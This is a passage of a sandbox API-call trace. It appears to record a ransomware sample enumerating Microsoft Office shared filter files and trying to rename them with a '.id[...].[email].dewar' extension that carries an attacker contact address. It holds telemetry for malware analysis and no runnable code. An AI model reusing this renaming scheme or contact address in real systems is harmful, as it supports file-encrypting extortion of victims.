shared\\filters\\msgfilt.dll")) returned 0x20 [0215.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.949] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1312656) returned 1 [0215.949] CloseHandle (hObject=0x1d0) returned 1 [0215.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0215.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0215.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.952] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1486736) returned 1 [0215.952] CloseHandle (hObject=0x1d0) returned 1 [0215.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0215.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0215.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.955] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2124664) returned 1 [0215.955] CloseHandle (hObject=0x1d0) returned 1 [0215.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0215.956] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0215.956] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0 [0215.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0215.960] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6811) returned 1 [0215.960] CloseHandle (hObject=0x1d0) returned 1 [0215.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0215.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0215.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0215.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.469] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=323936) returned 1 [0216.469] CloseHandle (hObject=0x1c4) returned 1 [0216.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0216.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0216.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.470] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=712592) returned 1 [0216.470] CloseHandle (hObject=0x1c4) returned 1 [0216.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0216.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0216.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.473] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=320384) returned 1 [0216.473] CloseHandle (hObject=0x1c4) returned 1 [0216.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0216.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0216.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.476] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=241024) returned 1 [0216.477] CloseHandle (hObject=0x1c4) returned 1 [0216.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0216.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0216.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.480] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1908) returned 1 [0216.480] CloseHandle (hObject=0x1c4) returned 1 [0216.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0216.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0216.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.482] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=15067) returned 1 [0216.482] CloseHandle (hObject=0x1c4) returned 1 [0216.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0216.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0216.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.484] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1069) returned 1 [0216.484] CloseHandle (hObject=0x1c4) returned 1 [0216.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0216.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0216.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.487] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1061) returned 1 [0216.487] CloseHandle (hObject=0x1c4) returned 1 [0216.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0216.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0216.488] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.489] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1682) returned 1 [0216.489] CloseHandle (hObject=0x1c4) returned 1 [0216.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0216.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0216.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.491] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1382) returned 1 [0216.491] CloseHandle (hObject=0x1c4) returned 1 [0216.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0216.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0216.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.494] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=73080) returned 1 [0216.494] CloseHandle (hObject=0x1c4) returned 1 [0216.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0216.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0216.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0216.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0216.496] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=302976) returned 1 [0216.496] CloseHandle (hObject=0x1c4) returned 1 [0216.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0216.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0216.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 